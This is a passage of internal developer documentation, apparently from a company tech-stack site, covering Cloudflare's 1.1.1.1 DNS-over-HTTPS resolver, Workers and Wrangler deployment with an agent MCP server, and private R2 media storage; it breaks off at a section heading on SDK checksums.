 ██║██╗██║██╗██║██╗██║
 ╚═╝╚═╝╚═╝╚═╝╚═╝╚═╝╚═╝

Cloudflare 1.1.1.1 (DNS Resolver) Integration Guide

Focus: query DNS from application code over HTTPS, read the results correctly, and choose the right resolver variant for a device or network. This is the sub-guide to cloudflare/. For DNS records you publish, see porkbun/ for registrar DNS and the Cloudflare DNS docs for zones hosted there.

Overview

1.1.1.1 is a recursive resolver: it looks up names on behalf of clients. It is not authoritative DNS, so it does not host your records. It is free on all plans, needs no account or API key, and Cloudflare operates it in partnership with APNIC.

There are two ways codeAmani uses it:

Variant IPv4 IPv6 DoH endpoint DoT hostname
Standard (unfiltered) 1.1.1.1, 1.0.0.1 2606:4700:4700::1111, ::1001 https://cloudflare-dns.com/dns-query one.one.one.one
Families: malware 1.1.1.2, 1.0.0.2 2606:4700:4700::1112, ::1002 https://security.cloudflare-dns.com/dns-query security.cloudflare-dns.com
Families: malware + adult 1.1.1.3, 1.0.0.3 2606:4700:4700::1113, ::1003 https://family.cloudflare-dns.com/dns-query family.cloudflare-dns.com

Full tables and error codes are in reference/endpoints-and-codes.md.

Should you use it here?

Need Use
Check a DNS record from a server or script 1.1.1.1 DoH
Encrypt DNS on a phone or laptop 1.1.1.1 via Private DNS, or the 1.1.1.1 app
Block malware or adult content on a shared network 1.1.1.1 for Families
Encrypt all device traffic, not only DNS WARP client
An SLA, dedicated support, custom filtering, or analytics Cloudflare Gateway (Zero Trust)
See what your nameserver currently publishes Query the authoritative nameserver (recipe)

Official Documentation

Topic URL
Overview https://developers.cloudflare.com/1.1.1.1/
IP addresses https://developers.cloudflare.com/1.1.1.1/ip-addresses/
DoH API requests https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-https/make-api-requests/
DoH JSON format https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-https/make-api-requests/dns-json/
DoH wireformat https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-https/make-api-requests/dns-wireformat/
DNS over TLS https://developers.cloudflare.com/1.1.1.1/encryption/dns-over-tls/
Oblivious DoH https://developers.cloudflare.com/1.1.1.1/encryption/oblivious-dns-over-https/
Device setup and Families https://developers.cloudflare.com/1.1.1.1/setup/
Extended DNS error codes https://developers.cloudflare.com/1.1.1.1/infrastructure/extended-dns-error-codes/
Rate limits, network operators https://developers.cloudflare.com/1.1.1.1/infrastructure/network-operators/
SLA and support https://developers.cloudflare.com/1.1.1.1/infrastructure/sla-and-support/
Privacy commitments https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/
Changelog https://developers.cloudflare.com/1.1.1.1/changelog/

Quickstart: query from code

No key or SDK is needed. The accept header is required: without it, the endpoint answers 400.

curl -H "accept: application/dns-json" "https://cloudflare-dns.com/dns-query?name=example.com&type=A"
{
  "Status": 0, "TC": false, "RD": true, "RA": true, "AD": true, "CD": false,
  "Question": [{ "name": "example.com", "type": 1 }],
  "Answer": [{ "name": "example.com", "type": 1, "TTL": 121, "data": "172.66.147.243" }]
}

Use the typed client instead of parsing this by hand. examples/doh-json.ts handles the traps below and has no dependencies:

import { resolveDoh } from "./doh-json";

const { outcome, values } = await resolveDoh("_dmarc.codeamanilabs.org", "TXT");
if (outcome === "answer") {
  // values are unquoted and contain TXT records only
}

For binary RFC 8484 queries, use examples/doh-wire.ts:

npm install dns-packet
npm install -D @types/dns-packet

Choosing JSON or wireformat

JSON (application/dns-json) Wireformat (application/dns-message)
Methods GET only GET or POST
Dependencies None dns-packet or similar
Stability No RFC. Cloudflare warns behaviour may change RFC 1035 message format
Use for Scripts, dashboards, non-critical checks Anything where a wrong parse has a cost

Cloudflare recommends wireformat for critical use. Its 2026-07-28 JSON change altered the data format for CAA, HTTPS, SVCB, TLSA and SSHFP records and for DNSSEC algorithm identifiers. Responses could use either format during the rollout, so don't parse those data strings in anything that matters.

Reading responses correctly

These are the mistakes this API invites. Unless marked documented, each was observed against the live resolver on 2026-11-04.

Trap What actually happens Do this
Trusting response.ok DNS failures are HTTP 200: NXDOMAIN is Status: 3, a DNSSEC failure is Status: 2, and ANY is Status: 4 Branch on Status. HTTP errors only mean a bad request or a timeout (400, 413, 415, 504, documented)
Status === 0 means the record exists A name with no record of that type is Status: 0 with no Answer key Treat a missing Answer as NODATA
Treating 0.0.0.0 as a real answer A Families block is Status: 0 with 0.0.0.0 (A) or :: (AAAA) Check Comment and the address. Malware blocks say EDE(16): Censored, adult blocks say EDE(17): Filtered. Neither code is in Cloudflare's EDE table, so also match the sinkhole addresses
Reading Answer[0].data Answer includes CNAME hops, so index 0 may be a hostname Filter by the numeric type you asked for
Comparing TXT values directly TXT data is wrapped in quotes, and long values can be split into several quoted strings Unquote and join first (unquoteTxt in the example)
Using NXDOMAIN to prove a name is free Nonexistent names in the Cloudflare-hosted zones we tested returned NOERROR with no Answer, not NXDOMAIN Treat nxdomain and nodata both as "no record". Never use them to decide a domain is available
Asking for ANY Not supported: documented as NOTIMPL, returned as Status: 4 Query each type
Sending several questions in one request Each DoH request carries one question (documented) Send parallel requests over HTTP/2

Connect a device or network

Android 9 and later (Private DNS): go to Settings > Network & internet > Advanced > Private DNS, choose Private DNS provider hostname, and enter one.one.one.one or one of the Families hostnames. This applies on every network, including cellular. Menu names vary by manufacturer.

Other devices: set the IPv4 and IPv6 addresses from the table above, always in pairs so there is a fallback. Each platform's steps are under Set up.

Browsers: Chrome, Edge, Firefox and Brave all offer Cloudflare in their secure DNS settings. Check the result at https://one.one.one.one/help, where Using DNS over HTTPS (DoH) should show Yes.

IPv6-only networks with NAT64: use the DNS64 addresses 2606:4700:4700::64 and 2606:4700:4700::6400. Only use them on such a network, because a synthesized AAAA record can't carry a valid DNSSEC signature.

To confirm filtering works, open the test pages. https://malware.testcategory.com/ should fail to load on both Families tiers, and https://nudity.testcategory.com/ should fail only on the malware + adult tier.

Encryption options

Protocol Port Reach it at Note
DoH 443 https://cloudflare-dns.com/dns-query Blends in with HTTPS traffic. HTTP/2 is the recommended minimum. TLS 1.2 and 1.3
DoT 853 one.one.one.one, 1.1.1.1 A dedicated port, so networks can block it. Used by Android Private DNS. TLS 1.2 and 1.3
ODoH 443 Target: odoh.cloudflare-dns.com, via a proxy Splits your IP from your query across two parties. RFC 9230 is experimental, and you need a client such as dnscrypt-proxy
Tor - Hidden service See DNS over Tor

Debugging

# Which Cloudflare data center answered?
dig +short CHAOS TXT id.server @1.1.1.1

# Compare resolvers: if only one differs, suspect its cache or the zone's nameservers
dig example.com @1.1.1.1
dig example.com @8.8.8.8

# Read the EDE reason for a failure
dig @1.1.1.1 dnssec-failed.org A

# Test DoT
kdig +tls @1.1.1.1 id.server CH TXT

On Windows, use nslookup -class=chaos -type=txt id.server 1.1.1.1.

codeAmani notes

Official docs:

Cloudflare Integration Guide

Technology: cloudflare · Category: hosting · Last reviewed: 2026-10-17

Source: https://tech-stack.codeamanilabs.org/guide/cloudflare

Insight:

Cloudflare is the edge platform — Workers, D1, KV, Durable Objects, and R2 (which serves this dashboard's thumbnails). R2 has zero egress fees, making it the cheap choice for serving images/assets to a bandwidth-constrained African audience. Keep API tokens scoped and server-side.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ███████╗██╗      █████╗ ██████╗ ███████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔════╝██║     ██╔══██╗██╔══██╗██╔════╝
██║     ██║     ██║   ██║██║   ██║██║  ██║█████╗  ██║     ███████║██████╔╝█████╗
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══╝  ██║     ██╔══██║██╔══██╗██╔══╝
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██║     ███████╗██║  ██║██║  ██║███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝

Cloudflare Integration Guide

Focus: Building and deploying Workers (with static assets, D1, KV, R2, Durable Objects, Queues) using Wrangler, and driving the Cloudflare account from coding agents through the Cloudflare API MCP server. For private media in R2 (presigned URLs, access control) see the separate cloudflare-r2/ guide. For the 1.1.1.1 public DNS resolver (DNS over HTTPS, Families, Android Private DNS) see cloudflare-1-1-1-1/.

Overview

Cloudflare's developer platform runs your code in Workers — V8 isolates on Cloudflare's network — and hands it in-process bindings to storage: D1 (SQLite), KV (key-value), R2 (object storage, no egress fees), Durable Objects (stateful coordination), Queues, Hyperdrive (pooled Postgres/MySQL), Workers AI, and Vectorize. A Worker can also serve a site's static assets, which is how full-stack apps are deployed today; Pages still works but new framework guides target Workers.

flowchart LR
  U["User request"] --> E["Cloudflare edge"]
  E --> A["Static assets<br/>served first"]
  E --> W["Worker<br/>fetch handler"]
  W --> D1["D1<br/>SQLite"]
  W --> KV["KV<br/>key-value cache"]
  W --> R2["R2<br/>object storage"]
  W --> DO["Durable Object<br/>stateful"]
  A --> RESP["Response"]
  W --> RESP

Pinned versions (npm, verified 2026-10-17): wrangler 4.151.1 (needs Node.js ≥ 22), @cloudflare/workers-types 5.20261016.1, create-cloudflare 2.74.0, vinext 1.2.1 (beta). @cloudflare/next-on-pages is deprecated (use vinext or OpenNext), and @cloudflare/mcp-server-cloudflare is the legacy local MCP server.

Where Cloudflare fits at codeAmani: Vercel is the primary app host. Reach for Cloudflare when you need R2 (the thumbs.codeamanilabs.org CDN), an edge API or webhook receiver, Durable Objects / Queues, or a cheap global static site.

Official Documentation

Resource URL
Workers https://developers.cloudflare.com/workers/
Wrangler configuration (bindings) https://developers.cloudflare.com/workers/wrangler/configuration/
Wrangler commands https://developers.cloudflare.com/workers/wrangler/commands/
Workers limits https://developers.cloudflare.com/workers/platform/limits/
Workers pricing https://developers.cloudflare.com/workers/platform/pricing/
Static assets https://developers.cloudflare.com/workers/static-assets/
Migrate from Pages to Workers https://developers.cloudflare.com/workers/static-assets/migration-guides/migrate-from-pages/
Next.js on Workers (vinext) https://developers.cloudflare.com/workers/framework-guides/web-apps/nextjs/
Compatibility flags https://developers.cloudflare.com/workers/configuration/compatibility-flags/
Cloudflare's MCP servers https://developers.cloudflare.com/agents/model-context-protocol/cloudflare/servers-for-cloudflare/
Agent setup (Claude Code) https://developers.cloudflare.com/agent-setup/claude-code/
D1 / R2 https://developers.cloudflare.com/d1/ · https://developers.cloudflare.com/r2/

Every docs page is available as markdown at <page-url>index.md, and each product has an llms.txt index (e.g. https://developers.cloudflare.com/workers/llms.txt).


MCP server (agents)

Cloudflare's API MCP server at https://mcp.cloudflare.com/mcp is, in Cloudflare's words, "the only MCP server you need". It covers the whole Cloudflare API (2,500+ endpoints — DNS, Workers, R2, Zero Trust, and everything else) plus the developer docs, through three tools:

Tool What it does
search() Find API endpoints in a typed representation of the OpenAPI spec
execute() Run model-written JavaScript against the Cloudflare API client in a sandboxed Dynamic Worker
docs() Search the Cloudflare developer docs

This "Code Mode" design costs about 1,000 tokens of tool definitions, versus ~1.17M if every endpoint were its own tool.

# Claude Code — OAuth on first use; you choose which permissions the agent gets
claude mcp add --transport http cloudflare-api https://mcp.cloudflare.com/mcp

# Or install the Cloudflare Skills plugin (MCP servers + skills + slash commands)
#   /plugin marketplace add cloudflare/skills
# Other agents (Codex, OpenCode, Cursor, Pi): npx skills add https://github.com/cloudflare/skills

CI / automation: create a scoped Cloudflare API token (user or account token) and send it as Authorization: Bearer <token>. It comes from the CI secret store, never the repo.

Optional product servers

Server Endpoint
Documentation https://docs.mcp.cloudflare.com/mcp
Container (sandbox dev environment) https://containers.mcp.cloudflare.com/mcp
Browser Run (fetch, markdown, screenshots) https://browser.mcp.cloudflare.com/mcp
Digital Experience Monitoring https://dex.mcp.cloudflare.com/mcp
Cloudflare One CASB https://casb.mcp.cloudflare.com/mcp
Agents SDK docs https://agents.cloudflare.com/mcp

Use Streamable HTTP at /mcp. Old /sse URLs are aliases for the same handler; the deprecated HTTP+SSE transport is gone, so clients forced to SSE must switch.

The per-product Workers Bindings, Builds, Observability, Radar, AI Gateway, Logpush, and GraphQL servers that earlier versions of this guide listed are no longer in Cloudflare's catalog. An existing config pointing at them may still connect, but move to the API server — it covers the same operations through execute().

Security: the agent acts with whatever permissions you grant at OAuth or in the token. Grant the narrowest set (e.g. Workers Scripts Edit + R2 Edit for one account), keep per-call approval on for execute(), and never give a token with DNS or Zero Trust write access to an unattended job unless that job needs it.


Wrangler

Install and authenticate

npm install -D wrangler           # per project (preferred); Wrangler 4 needs Node.js >= 22
npx wrangler login                # interactive OAuth
npx wrangler whoami

# CI: export CLOUDFLARE_API_TOKEN and CLOUDFLARE_ACCOUNT_ID from the secret store

Key commands

# New project (Worker, or full-stack app with --framework)
npm create cloudflare@latest my-worker
npm create cloudflare@latest -- my-app --framework=next

npx wrangler dev                          # local dev (bindings simulated locally)
npx wrangler types                        # generate Env types from wrangler.jsonc
npx wrangler deploy                       # deploy
npx wrangler deploy --dry-run --outdir bundled/   # check bundle size without deploying
npx wrangler versions upload              # upload a version without routing traffic
npx wrangler versions deploy              # gradual rollout between versions
npx wrangler rollback                     # roll back to the previous version
npx wrangler tail                         # live logs

# Secrets (the human types the value at the prompt)
npx wrangler secret put STRIPE_WEBHOOK_SECRET
npx wrangler secret bulk secrets.json     # up to 100 at once
npx wrangler secret list                  # names only

# D1
npx wrangler d1 create app-db
npx wrangler d1 migrations create app-db add_users
npx wrangler d1 migrations apply app-db --local
npx wrangler d1 migrations apply app-db --remote

# KV — space-separated subcommands; --remote to hit production
npx wrangler kv namespace create CACHE
npx wrangler kv key put --binding=CACHE "greeting" "hello" --remote

# R2 — without --remote, object commands only touch local storage
npx wrangler r2 bucket create my-bucket
npx wrangler r2 object put my-bucket/path/file.webp --file ./file.webp --content-type image/webp --remote

# Queues
npx wrangler queues create jobs

Worker quickstart

Cloudflare recommends wrangler.jsonc for new projects; some newer Wrangler features only work with a JSON config.

// wrangler.jsonc
{
  "$schema": "./node_modules/wrangler/config-schema.json",
  "name": "codeamani-api",
  "main": "src/index.ts",
  // Set to today's date when you start; bump deliberately after reading the flag changelog.
  "compatibility_date": "2026-10-17",
  "observability": { "enabled": true, "head_sampling_rate": 1 },
  "d1_databases": [{ "binding": "DB", "database_name": "app-db" }],
  "kv_namespaces": [{ "binding": "CACHE" }],
  "secrets": { "required": ["STRIPE_WEBHOOK_SECRET"] }
}

Leaving out database_id / id uses automatic provisioning: wrangler deploy creates the D1 database and KV namespace (prefixed with the Worker name) on first deploy. It works for KV, R2, D1, Queues and a few newer products. secrets.required makes deploy fail if a secret is missing, and feeds wrangler types.

// src/index.ts — run `npx wrangler types` first; it writes worker-configuration.d.ts with Env
export default {
  async fetch(request, env, ctx): Promise<Response> {
    const url = new URL(request.url);

    if (url.pathname === "/users") {
      const { results } = await env.DB
        .prepare("SELECT id, email FROM users ORDER BY created_at DESC LIMIT ?")
        .bind(10)
        .all();
      return Response.json(results);
    }

    if (url.pathname === "/health") return Response.json({ ok: true });
    return new Response("Not Found", { status: 404 });
  },
} satisfies ExportedHandler<Env>;

Node.js compatibility is on by default for compatibility_date 2026-08-04 or later (nodejs_compat and nodejs_compat_v2 are implied), so node:crypto, node:buffer and npm packages that use them work with no flag. Older dates still need "compatibility_flags": ["nodejs_compat"].


Bindings reference

A binding is an in-process handle on env — no network hop, no API token. Prefer bindings over the REST API inside Workers.

Resource wrangler.jsonc key Type on env
KV kv_namespaces: [{ binding, id? }] KVNamespace
R2 r2_buckets: [{ binding, bucket_name? }] R2Bucket
D1 d1_databases: [{ binding, database_name, database_id? }] D1Database
Durable Objects durable_objects.bindings: [{ name, class_name }] + migrations DurableObjectNamespace
Queues (producer) queues.producers: [{ binding, queue }] Queue<T>
Queues (consumer) queues.consumers: [{ queue, max_batch_size, dead_letter_queue }] queue() handler
Hyperdrive hyperdrive: [{ binding, id }] Hyperdrive
Static assets assets: { directory, binding?, run_worker_first? } Fetcher (if binding set)
Secrets Store secrets_store_secrets: [...] secret binding

? = optional because Wrangler can auto-provision it.

{
  "durable_objects": { "bindings": [{ "name": "ROOMS", "class_name": "Room" }] },
  "migrations": [{ "tag": "v1", "new_sqlite_classes": ["Room"] }],
  "queues": {
    "producers": [{ "binding": "JOBS", "queue": "jobs" }],
    "consumers": [{ "queue": "jobs", "max_batch_size": 10, "dead_letter_queue": "jobs-dlq" }]
  },
  "hyperdrive": [{ "binding": "PG", "id": "<hyperdrive-config-id>" }]
}

Static assets and full-stack apps

A Worker serves files from assets.directory. By default assets are matched first and the Worker runs only when no file matches — the reverse of Pages, which ran Functions first.

{
  "name": "my-site",
  "main": "src/worker.ts",           // omit for a purely static site
  "compatibility_date": "2026-10-17",
  "assets": {
    "directory": "./dist",
    "not_found_handling": "single-page-application",
    "run_worker_first": ["/api/*"]   // or true for every request
  }
}

Static asset limits: 20,000 files per version on Free, 100,000 on Paid (Wrangler ≥ 4.34); 25 MiB per file.

Next.js on Workers

Cloudflare's recommended path is now vinext — a Vite plugin that reimplements the Next.js API surface for Workers (App and Pages Router, RSC, Server Actions, ISR, middleware.ts/proxy.ts). It is in beta, and targets Next.js 16.

npx vinext check                 # compatibility report for an existing app
npx vinext init                  # non-destructive; `next dev` keeps working
npm run dev:vinext && npm run build:vinext
npx @vinext/cloudflare deploy

# New app: npm create cloudflare@latest -- my-next-app --framework=next

Server code reads bindings with import { env } from "cloudflare:workers". Existing OpenNext (@opennextjs/cloudflare) apps remain supported; @cloudflare/next-on-pages is deprecated.

codeAmani default: Next.js apps stay on Vercel. Move one to Workers only with a reason (cost, R2/Durable Object locality) and after vinext check passes.

Pages (existing projects)

Pages projects keep working: wrangler pages deploy dist/ --project-name my-site, with file-based functions/ routes and _routes.json. If a route mysteriously skips your Function, check _routes.json — an unmatched path is served as a static asset. To migrate a Pages project to Workers, follow the migration guide linked above (assets.directory, and wrangler pages functions build for a functions/ folder).


Secrets and environment variables

# Wrangler / CI auth (from the secret store; never committed)
CLOUDFLARE_API_TOKEN=...        # scoped token: dash.cloudflare.com → My Profile → API Tokens
CLOUDFLARE_ACCOUNT_ID=...       # identifier, not a secret

Webhook receiver on a Worker (Stripe)

// src/index.ts — Stripe signature check with Web Crypto
import Stripe from "stripe";

export default {
  async fetch(request, env): Promise<Response> {
    if (request.method !== "POST") return new Response("Method Not Allowed", { status: 405 });

    const stripe = new Stripe(env.STRIPE_SECRET_KEY);
    const body = await request.text();
    let event: Stripe.Event;
    try {
      event = await stripe.webhooks.constructEventAsync(
        body,
        request.headers.get("stripe-signature") ?? "",
        env.STRIPE_WEBHOOK_SECRET,
        undefined,
        Stripe.createSubtleCryptoProvider(),
      );
    } catch {
      return new Response("bad signature", { status: 400 });
    }

    // Idempotency: D1 primary key on the event id turns a retry into a no-op.
    const { meta } = await env.DB
      .prepare("INSERT INTO stripe_events (id, type) VALUES (?, ?) ON CONFLICT (id) DO NOTHING")
      .bind(event.id, event.type)
      .run();
    if (meta.changes === 0) return Response.json({ received: true, duplicate: true });

    await env.JOBS.send({ eventId: event.id, type: event.type }); // process off the request path
    return Response.json({ received: true });
  },
} satisfies ExportedHandler<Env>;

R2: buckets, tokens, and public serving

Bucket names are lowercase letters, numbers and hyphens.

npx wrangler r2 bucket create my-bucket
npx wrangler r2 bucket list

S3-compatible credentials (for the AWS SDK, boto3, rclone; Wrangler doesn't need them): Dashboard → R2 → Manage API Tokens → Account API token (survives a user leaving — best for automation) → permission Object Read & Write (or Object Read only, Admin Read & Write, Admin Read only) → Apply to specific buckets only. The secret is shown once. Endpoint: https://<ACCOUNT_ID>.r2.cloudflarestorage.com. From any Cloudflare API token, Access Key ID = the token's id and Secret Access Key = the SHA-256 of the token value.

Public serving: connect a custom domain (the zone must be on Cloudflare — this is how thumbs.codeamanilabs.org works) or enable the r2.dev URL (rate-limited; for testing). Both make every object world-readable. For private files, follow cloudflare-r2/.


Credentials for agent automation

Credential Create at Scope Automates
Account ID dashboard URL / Overview identifier API + S3 endpoint
Zone ID domain → Overview identifier DNS API calls for the zone
Scoped API token My Profile → API Tokens (or Account API Tokens) only the permissions needed Wrangler in CI, API MCP in CI
R2 S3 token R2 → Manage API Tokens Object Read & Write, bucket-scoped object uploads via S3 API
DNS token API Tokens → Custom Zone → DNS → Edit (+ Zone → Read) DNS records, R2 custom domains
OAuth (wrangler login / MCP) browser your user's permissions, as granted local work
Global API Key My Profile → API Tokens everything (legacy) avoid — local CLI only, never apps/CI/repos

Rules learned the hard way:


Agent automation

Hook: remind to deploy after Worker edits

Hooks receive the tool call as JSON on stdin (there is no $CLAUDE_FILE_PATH variable). .claude/settings.json:

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Write|Edit",
        "hooks": [
          {
            "type": "command",
            "command": "jq -r '.tool_input.file_path // empty' | grep -qE '(src/|wrangler\\.jsonc)' && echo 'Worker changed: run npx wrangler types && npx wrangler deploy --dry-run' || true"
          }
        ]
      }
    ]
  }
}

GitHub Actions deploy

# .github/workflows/cloudflare.yml
name: Deploy Worker
on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: "22" }
      - run: npm ci
      - name: D1 migrations
        run: npx wrangler d1 migrations apply app-db --remote
        env:
          CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
          CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
      - name: Deploy
        uses: cloudflare/wrangler-action@v4
        with:
          apiToken: ${{ secrets.CLOUDFLARE_API_TOKEN }}
          accountId: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}

wrangler-action@v4 installs Wrangler 4 by default; pin a version with wranglerVersion. Pin the action to a commit SHA for supply-chain hygiene (see supply-chain/).


Common use cases

Use case Approach
Edge API / webhook receiver Worker + D1 for idempotency + Queue for slow work
Global cache KV binding (eventually consistent)
Static or SPA site Worker with assets.directory
Public image/asset CDN R2 + custom domain
Private user files R2 + presigned URLs (cloudflare-r2/)
Rate limiting, rooms, counters Durable Object (SQLite)
Query Supabase/Neon from a Worker Hyperdrive binding
DNS changes DNS-scoped token or API MCP with DNS permission

Troubleshooting

Issue Fix
Wrangler won't start / engine error Wrangler 4 needs Node.js 22+
Worker too large Limit is 64 MiB uncompressed on both plans (no gzip limit). Check with wrangler deploy --dry-run --outdir bundled/; move data to KV/R2/D1 or split with service bindings
Exceeded CPU time (Error 1102) Free = 10 ms; Paid default 30 s, raise limits.cpu_ms up to 5 min, or offload to Queues
Error 1027 on Free 100,000 requests/day used up (resets 00:00 UTC)
r2 object put "worked" but object missing Add --remote
KV API calls 404 since mid-October Legacy /workers/namespaces/ route — switch to /storage/kv/namespaces/
kv:namespace errors Use spaces: wrangler kv namespace ...
API route returns the SPA's index.html Assets win by default — add the path to run_worker_first
Pages Function never runs Path excluded by _routes.json
KV stale reads Eventually consistent — use D1 or a Durable Object
New Durable Object deploy rejected Use a new_sqlite_classes migration

codeAmani notes

Official docs:

Cloudflare R2 (Private Media Storage) Integration Guide

Technology: cloudflare-r2 · Category: hosting · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/cloudflare-r2

Insight:

R2 buckets are private by default; the job is to keep them that way. Serve private media two ways: short-lived presigned URLs minted server-side, or a Worker that authorizes every request. With current AWS SDK v3 there are two traps. The presigner leaves Content-Type unsigned unless you pass signableHeaders. Default checksums also bake an empty-body CRC32 into presigned PUT URLs, so set requestChecksumCalculation: "WHEN_REQUIRED". Keep r2.dev for throwaway assets: it is rate-limited and has no WAF, cache or access controls.

 ██████╗██╗      ██████╗ ██╗   ██╗██████╗ ███████╗██╗      █████╗ ██████╗ ███████╗    ██████╗ ██████╗
██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔════╝██║     ██╔══██╗██╔══██╗██╔════╝    ██╔══██╗╚════██╗
██║     ██║     ██║   ██║██║   ██║██║  ██║█████╗  ██║     ███████║██████╔╝█████╗      ██████╔╝ █████╔╝
██║     ██║     ██║   ██║██║   ██║██║  ██║██╔══╝  ██║     ██╔══██║██╔══██╗██╔══╝      ██╔══██╗██╔═══╝
╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝██║     ███████╗██║  ██║██║  ██║███████╗    ██║  ██║███████╗
 ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝    ╚═╝  ╚═╝╚══════╝

Cloudflare R2 (Private Media Storage) Integration Guide

Focus: storing user-uploaded media (images, receipts, ID documents, audio) in Cloudflare R2 so it stays private: private buckets, server-minted presigned URLs, Worker-gated access, and direct-to-R2 browser uploads that never expose your credentials. Also covers the rest of the R2 surface: CORS, lifecycle rules, event notifications, storage classes, jurisdictions, migrations, and the Basin (formerly R2 Data Catalog / R2 SQL) analytics layer.

Overview

Cloudflare R2 is S3-compatible object storage with zero egress fees. You pay for storage and for operations, not for bytes served out (via the S3 API, the Workers API, or r2.dev). It exposes three interfaces:

Interface Use it from Auth
S3-compatible API (https://<ACCOUNT_ID>.r2.cloudflarestorage.com) Next.js routes, scripts, any AWS SDK R2 API token (Access Key ID + Secret), or temporary credentials
Workers binding (env.MY_BUCKET.get/put/delete/list) Code running inside a Cloudflare Worker The binding itself; no keys
Public bucket (custom domain or r2.dev) Browsers, CDNs None (public), or WAF / Access rules on a custom domain

The security headline: buckets are private by default. Nothing is reachable from the Internet until you attach a custom domain or enable the r2.dev URL. For private media you keep it that way and hand out temporary, scoped access.

flowchart TD
  A["User needs a private object"] --> B{"How much access?"}
  B -->|"one operation on one object"| C["Presigned URL<br/>(SigV4, 1s to 7 days)"]
  B -->|"several S3 ops in a scoped session"| T["Temporary credentials<br/>(bucket + prefix + TTL)"]
  B -->|"policy decided per request"| D["Worker in front of bucket<br/>(authorize, then env.BUCKET.get)"]
  C --> E["Client holds a capability URL,<br/>never your keys"]
  T --> E
  D --> F["Worker checks session,<br/>returns 403 or streams object"]

Versions (verified 2026-10-20)

Package / tool Version Notes
@aws-sdk/client-s3 3.1153.0 Default checksum behavior changed in 3.729.0; see Checksums
@aws-sdk/s3-request-presigner 3.1153.0 Keep in lockstep with client-s3
@cloudflare/workers-types 5.20261019.1 Now major 5. Cloudflare recommends npx wrangler types to generate Env + runtime types instead
wrangler 4.151.2 Needs Node.js 22+

Official Documentation

Resource URL
R2 docs home https://developers.cloudflare.com/r2/
Presigned URLs https://developers.cloudflare.com/r2/api/s3/presigned-urls/
Temporary credentials https://developers.cloudflare.com/r2/api/s3/temporary-credentials/
S3 API compatibility https://developers.cloudflare.com/r2/api/s3/api/
Workers API reference https://developers.cloudflare.com/r2/api/workers/workers-api-reference/
Public buckets / custom domains https://developers.cloudflare.com/r2/buckets/public-buckets/
CORS https://developers.cloudflare.com/r2/buckets/cors/
Event notifications https://developers.cloudflare.com/r2/buckets/event-notifications/
Data location and jurisdictions https://developers.cloudflare.com/r2/reference/data-location/
Pricing https://developers.cloudflare.com/r2/pricing/
Limits https://developers.cloudflare.com/r2/platform/limits/
API tokens https://developers.cloudflare.com/r2/api/tokens/

The privacy model (read this first)

flowchart LR
  P["Private bucket<br/>(default)"] -->|"NEVER for sensitive media"| Pub["Public: custom domain or r2.dev"]
  P -->|"recommended"| Pre["Presigned URLs<br/>short TTL"]
  P -->|"recommended"| Wk["Worker gate<br/>auth per request"]
  Pub -->|"only safe with"| WAF["custom domain +<br/>WAF token auth / Access"]

Six rules that keep media private:

  1. Leave the bucket private. Don't enable public access for user data. A public bucket means anyone with the URL can read the object, for as long as access stays enabled.
  2. Credentials are server-only. S3 keys and Worker secrets live in server env or Wrangler secrets. They never go in client JS or NEXT_PUBLIC_*.
  3. Hand out short-lived capability URLs. Presigned URLs live from 1 second to 7 days (604,800 s). Treat them as bearer tokens: they're reusable until they expire, not single-use. Keep TTLs to minutes.
  4. Actually sign what you validate. Pass signableHeaders: new Set(["content-type"]) to getSignedUrl. Without it, the presigner leaves Content-Type out of the signature (see Pattern B).
  5. r2.dev is for development only. It's rate-limited (hundreds of requests per second, then 429) and has no WAF, cache, Access or Bot Management. Production goes behind a custom domain or a Worker.
  6. Scope tokens. Use Object Read only or Object Read & Write tokens scoped to one bucket. Keep Admin tokens for bucket configuration. For per-user delegation, mint temporary credentials scoped to a prefix.

Setup

S3 credentials

Create an R2 API token in the dashboard (R2 > Manage API Tokens). Pick Account tokens for services and User tokens for personal tooling. You get an Access Key ID and a Secret Access Key. The token permissions are:

Permission Allows
Admin Read & Write Create, list and delete buckets; edit bucket config (CORS, lifecycle, locks); read and write objects; read and write Basin Catalog
Admin Read only List buckets, view config, read and list objects, read Basin Catalog
Object Read & Write Read, write and list objects in specific buckets (S3 API only)
Object Read only Read and list objects in specific buckets (S3 API only)
npm install @aws-sdk/client-s3@3.1153.0 @aws-sdk/s3-request-presigner@3.1153.0
// lib/r2.ts — server-only client. Never import this into client components.
import { S3Client } from "@aws-sdk/client-s3";

export const r2 = new S3Client({
  region: "auto", // required by the SDK, ignored by R2
  endpoint: `https://${process.env.R2_ACCOUNT_ID}.r2.cloudflarestorage.com`,
  // For a jurisdictional bucket: https://<ACCOUNT_ID>.<eu|us|fedramp>.r2.cloudflarestorage.com
  credentials: {
    accessKeyId: process.env.R2_ACCESS_KEY_ID!,
    secretAccessKey: process.env.R2_SECRET_ACCESS_KEY!,
  },
  // Opt out of the SDK's default flexible checksums (see "Checksums" below).
  requestChecksumCalculation: "WHEN_REQUIRED",
  responseChecksumValidation: "WHEN_REQUIRED",
});

export const R2_BUCKET = process.env.R2_BUCKET!;

examples/r2-client.ts is the hardened version, with env validation and a jurisdiction-aware endpoint.

Checksums and the AWS SDK v3

